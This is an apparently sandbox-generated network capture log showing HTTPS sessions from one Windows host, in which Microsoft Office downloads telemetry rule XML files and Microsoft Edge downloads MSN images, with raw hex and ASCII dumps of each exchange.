Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:37 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:37 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090937Z-174f7845968px8v7hC1EWR08ng0000000veg000000006cme x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:38 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49867	13.107.246.63	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:37 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:38 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090938Z-174f7845968ljs8phC1EWRe6en0000000uz000000000a90b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:38 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:37 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:38 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1fa1b817-401e-0067-5691-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090938Z-174f7845968l4kp6hC1EWRe8840000000ve0000000006d99 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:38 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:38 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:38 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090938Z-174f7845968kdththC1EWRzvxn00000007h000000000618x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:38 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:38 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:38 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be7987d0-001e-0034-1e91-3fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090938Z-174f7845968xlwnmhC1EWR0sv80000000uz0000000008csq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:38 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49871	23.44.129.36	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:38 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:38 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 20 Nov 2024 06:31:45 GMT X-Datacenter: northeu X-ActivityId: d6b39d3f-d287-49b5-a5be-b8a97df370ee Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO5 X-Source-Length: 76988 Content-Length: 76988 Cache-Control: public, max-age=292999 Expires: Fri, 29 Nov 2024 18:32:57 GMT Date: Tue, 26 Nov 2024 09:09:38 GMT Connection: close
2024-11-26 09:09:38 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-26 09:09:38 UTC	16384	IN	Data Raw: b5 c5 05 43 29 8a 72 20 8a e2 1a 32 43 62 20 26 80 63 7d 7b d8 e0 e8 db fa 65 ef 15 8d b2 95 7c b4 15 93 99 29 f2 a4 49 8c c4 49 17 09 2f 84 81 61 d6 ca d3 ab 69 8d 1c 71 43 22 1e 02 48 02 3a 81 e3 46 40 91 4a f7 bb da ec 0d 04 6b f7 57 88 e5 2c d1 94 8c 80 42 92 4c 02 60 8a 49 d2 e3 79 b9 f2 92 df 43 7b 20 da dc 52 54 b0 95 14 22 33 a8 02 52 9c df 6e 63 a0 9b 25 e5 5c f6 4d 3d fd 1e 3a 6b cb 8a 3b 0e 43 29 1e 81 16 cf a4 36 21 a9 79 54 a1 e3 57 b4 b1 9b 73 6f e5 a8 0c c8 5c a5 26 50 64 54 4c 1d 2a 34 20 e8 5a 29 20 68 66 97 69 83 8a 0b 8e cb ba 60 f2 d2 18 f4 71 27 29 07 2a 54 05 8a 98 f4 20 fa b6 24 92 4d a5 8d e6 44 71 b4 36 31 48 1d cf 16 3c a8 4f 45 3d cd d5 13 4d 38 c0 31 bc b4 d1 41 5d 75 11 a3 d9 48 d4 11 22 46 22 f0 eb c4 93 7d 3d 18 7a f1 0d 80 Data Ascii: C)r 2Cb &c}{e\|)II/aiqC"H:F@JkW,BL`IyC{ RT"3Rnc%\M=:k;C)6!yTWso\&PdTL4 Z) hfi`q')T $MDq61H<OE=M81A]uH"F"}=z
2024-11-26 09:09:38 UTC	1996	IN	Data Raw: 4c cf 2e 4c da 69 5a ce 0d 14 67 9e be fb 5c 02 22 c9 75 28 cc a8 11 6e a4 0f 53 47 63 8a eb 83 64 c2 4c a8 12 2d 83 58 c0 c1 1e 8c 39 cc 35 ab 35 f7 1c 3d a2 8d 1c 02 88 ab 60 a2 9a 83 14 23 91 d4 7e ac 8a 9b 7c 2a 18 a1 9a 30 04 83 09 98 d6 06 82 6d ba ad 28 cd 40 9a 1f 34 dd 64 6b 33 d4 43 14 03 5a e8 c2 0d b5 65 cd 96 13 31 36 02 74 9c 68 c5 18 f1 ee 6e 64 69 2d 60 9e 25 c5 04 cb 51 ab 21 12 f4 38 d0 51 26 83 e2 c7 0f a4 95 24 cd 41 07 b1 ea e4 a4 85 4c e6 b2 22 31 9f 73 83 9a 1e 20 eb cb 5f 73 78 6b 0c a1 43 8f ac 6c 95 10 10 42 89 1a 69 18 49 81 65 23 c5 88 88 89 8d 38 97 96 9f 4f 29 64 02 6c 7d 35 88 b2 66 fa ba 12 01 f5 10 fc 4f 75 06 13 03 47 21 98 27 bb 62 2a c5 04 9c c8 20 82 44 41 ed 0f a3 7b 71 5b cb 2b 51 95 2a a6 23 5e 9e e7 53 b4 57 f6 a6 Data Ascii: L.LiZg\"u(nSGcdL-X955=`#~\|0m(@4dk3CZe16thndi-`%Q!8Q&$AL"1s _sxkClBiIe#8O)dl}5fOuG!'b DA{q[+Q*#^SW
2024-11-26 09:09:39 UTC	16384	IN	Data Raw: 52 75 8c 4d 03 f9 9b 9f 56 9c a0 44 47 1c db 90 2d 0f a9 08 12 24 d2 45 75 e7 0f af 7f 61 1b 4b 84 28 2c 40 20 c4 4f 29 a3 5a d3 ce 4c 8d 29 db c1 e8 17 5b 7b 3a 53 2d f2 fa b5 94 04 09 7b 2b eb 09 e3 d8 f2 92 45 81 cd cb 4e 43 21 96 15 07 1d 6b ab 26 53 ab 31 12 80 21 23 59 55 6b df dd 0e da 53 8d 2c d2 4d 1b 47 76 f0 d6 53 9b 28 d7 59 7b 27 2f 57 d6 94 6b 58 b6 da b5 ca d6 b4 e6 29 33 73 5c 3e 2f b0 0e 23 56 22 9b 9d b4 a4 02 5e e2 59 72 b6 89 b3 8c 5a ca 00 8e 3d ec 99 7e 3c 43 71 a7 c1 e8 92 ed 94 18 fb 9f 52 86 de 51 13 9a d9 d3 91 d7 93 50 32 90 44 86 e5 27 2e 69 e5 6b 5b 34 06 59 ba 19 33 2a 32 92 60 57 09 be 19 90 48 04 00 2a 20 c8 07 a5 c5 a2 81 0e 5a d0 51 73 42 98 b1 9c 09 6a 52 ed 94 e7 d5 e8 e3 89 66 ca f4 35 a5 05 14 70 06 78 7b 2b d5 94 09 Data Ascii: RuMVDG-$EuaK(,@ O)ZL)[{:S-{+ENC!k&S1!#YUkS,MGvS(Y{'/WkX)3s\>/#V"^YrZ=~<CqRQP2D'.ik[4Y32`WH ZQsBjRf5px{+
2024-11-26 09:09:39 UTC	16384	IN	Data Raw: 54 50 4e 51 a1 af 34 dc c8 84 85 a6 48 13 e3 cb e0 f8 5e 53 3b 61 d7 48 d5 ce 95 5d ab ea 40 98 f5 b9 f3 9d b8 9a 14 c6 b3 30 e6 7f 2c 0d 2d b6 5d 8d 3a 93 af 47 b7 f3 f6 f6 84 7d c4 9b 18 4a f7 77 e8 3c b7 c5 d8 97 e6 ed a9 22 49 3e 8c aa fa ec a2 36 d3 cc fb 07 bd f7 f5 22 af 29 af 28 71 d9 37 a4 5f 9c bd 54 ed a7 6c 12 a8 e7 40 f9 d5 f5 63 4d b1 98 df a0 f6 97 e0 af 71 4b 33 b8 a2 78 b9 8c ee 13 41 41 c6 af 8e 5d fa e9 a7 f3 ff 00 8d c7 6b 9e bf c3 b7 77 79 4b 31 9b 36 03 ed 0c 47 6c c6 63 5a c3 1a 32 a0 4a b5 b0 5a ee e6 f9 58 80 02 53 77 c5 f1 9c b1 ab ca 75 9e 90 eb 11 31 a4 7b ba 7e 62 36 c4 50 9b 87 b5 f2 2b 70 ac d7 4b 00 d1 f3 b7 90 31 bb e2 f1 3d c9 cb ca 23 83 71 8c 47 9c 8c 20 41 3a 5d 69 7d 31 03 32 8c 13 f6 a6 e1 7e 0f 9c 42 08 52 aa 7f 0b Data Ascii: TPNQ4H^S;aH]@0,-]:G}Jw<"I>6")(q7_Tl@cMqK3xAA]kwyK16GlcZ2JZXSwu1{~b6P+pK1=#qG A:]i}12~BR
2024-11-26 09:09:39 UTC	7952	IN	Data Raw: 46 35 6b 37 36 83 73 b0 7f 0b 88 42 70 0d 69 c1 2d e0 fe 17 b2 9b 9d 42 47 7e ae d9 f1 6d 04 7e 53 d5 ca 5c ca dc 6a d1 b4 0b 9c 75 08 92 4e a3 2f 7f 83 78 17 87 a9 7b 87 bb 0d 02 f7 20 5e 3a 3b cd e6 1b 28 bd ec a1 c7 22 18 5c ae 46 2e b1 a9 21 51 36 19 15 23 c1 85 8c 5a 64 02 48 02 4e bc 68 df 2f 12 d7 9c b0 d5 1f 94 75 0d 6b 71 3d 1d 13 6c 72 75 82 09 22 ec 1b 47 2e ef 4b 9a fe 8c 21 c5 ea 61 cc 38 4f 67 73 0b bd 18 68 c0 78 b4 88 ba 3b 7c 5b 4e 0e e6 b8 30 5c a3 0c 63 f5 76 3b 3c 15 83 d9 81 bd 84 ad 84 47 37 79 b8 54 1a e6 ff 00 30 ec 5d 0f c6 ae 4e 07 ab 59 18 f7 a7 b1 ec c2 f3 e9 ec 74 37 22 d0 9c 3d 1d 2a d7 cd 1d 3d 8d 4a a3 f3 30 b9 86 23 c1 a9 50 34 3e 0f 66 2e 09 c3 d4 fb 98 69 c4 b5 80 e1 0a 38 72 0d 83 09 23 16 82 6d 2c 87 30 3a 4f 6f 89 72 Data Ascii: F5k76sBpi-BG~m~S\juN/x{ ^:;("\F.!Q6#ZdHNh/ukq=lru"G.K!a8Ogshx;\|[N0\cv;<G7yT0]NYt7"=*=J0#P4>f.i8r#m,0:Oor
2024-11-26 09:09:39 UTC	2024	IN	Data Raw: e8 2b ba b1 3a e0 2c 3c c5 2f 66 0c 0a ec b1 66 7b 36 0c 0d 2e 4b 1c 93 63 de 6b 98 16 5e 96 3a 8b 1d d5 81 25 d9 63 75 83 4b b2 c7 2f 66 60 67 65 87 3b 69 60 ee 4b 49 6a 4c 30 33 20 81 ab e5 ce c9 99 81 e4 5c d1 a6 b6 16 c0 e0 c2 bc df 5e 03 6c b8 b2 85 0d a1 c5 79 45 2a c7 9e 70 60 78 76 8c 39 9b 66 70 1a 97 16 3c b0 f6 7c 5c cc 38 96 0f 4b 9b 03 80 62 cc 1d 0a 60 43 07 50 d2 96 36 7b 9b 8a 90 1d 87 89 86 c1 4c 30 43 7c 84 37 0b 01 a9 dc 06 c9 61 80 c7 d5 d8 c6 5f 29 d6 94 6e c0 a0 4b b9 53 7b 1b 86 6f 86 17 47 66 5a c3 cc 1e 1b 72 69 2f 4b 0d dd b7 66 8d c5 18 56 ae e6 76 58 67 5a 73 79 83 c3 99 4b d3 8b 93 8b 05 20 38 ed 1e 61 9d 87 a5 ec cc 2c 3b a3 99 f1 61 cc 25 81 21 d8 c5 ae 60 f6 61 73 07 81 8b 90 d7 e6 07 33 86 0e da 8c 5f 30 62 e0 54 b0 3c 5f Data Ascii: +:,</ff{6.Kck^:%cuK/f`ge;i`KIjL03 \^lyE*p`xv9fp<\|\8Kb`CP6{L0C\|7a_)nKS{oGfZri/KfVvXgZsyK 8a,;a%!`as3_0bT<_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49872	23.44.129.36	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:38 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZ4.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:38 UTC	520	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZ4 Last-Modified: Wed, 20 Nov 2024 12:11:17 GMT X-Source-Length: 49906 X-Datacenter: northeu X-ActivityId: f9ac0197-28ca-4ab2-84dd-49b8d71be0b2 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 49906 Cache-Control: public, max-age=313329 Expires: Sat, 30 Nov 2024 00:11:47 GMT Date: Tue, 26 Nov 2024 09:09:38 GMT Connection: close
2024-11-26 09:09:38 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-26 09:09:39 UTC	16384	IN	Data Raw: eb e6 4b 4f 82 d8 58 56 bc ba 96 da 13 be 3b 7f 69 bc ad c9 ad 4b ce 97 ad 23 5c 27 e4 c4 66 d1 9e f5 42 72 49 a4 f6 ef fc 2c 85 8e f7 6a fc da b3 46 92 4a fd 7b 17 e2 63 29 f4 4c cf 83 73 11 f5 35 d1 05 d5 7b 12 7f 62 dc a2 aa a3 7d bf 92 3c f9 65 d1 51 ef 7b 24 b8 9a c2 d3 b9 ee fa 2e 8b b7 bf c8 4d 7b 64 8b 46 71 11 e3 dc e9 9c e7 2e 3b 2f 5e e3 06 ee e4 ba f5 7e 5f 80 d4 f5 cd 47 8c b8 d3 ee ef 13 8e 95 2a 7b 3d ff 00 82 33 11 86 a6 79 f1 61 37 d0 f3 f2 2a e0 75 bd db 31 96 36 d7 96 e9 76 f7 1e 8a ee 78 f5 3f 73 92 ae 0e 5f cc fe 4b f8 98 e9 6b 75 b5 70 3a 17 fa 31 7d ce 51 7e 4f 89 15 6a d7 53 b4 3c 53 19 c7 84 4b 3c 79 5e 39 79 75 5f 8a 3a 30 7a 79 a7 2e 0b ed dc 71 c9 51 d9 c9 34 b2 ef d6 2f f3 25 a3 74 cf 72 69 4c ed d2 b3 3b b6 9e 84 d2 c7 08 c7 Data Ascii: KOXV;iK#\'fBrI,jFJ{c)Ls5{b}<eQ{$.M{dFq.;/^~_G{=3ya7u16vx?s_Kkup:1}Q~OjS<SK<y^9yu_:0zy.qQ4/%triL;
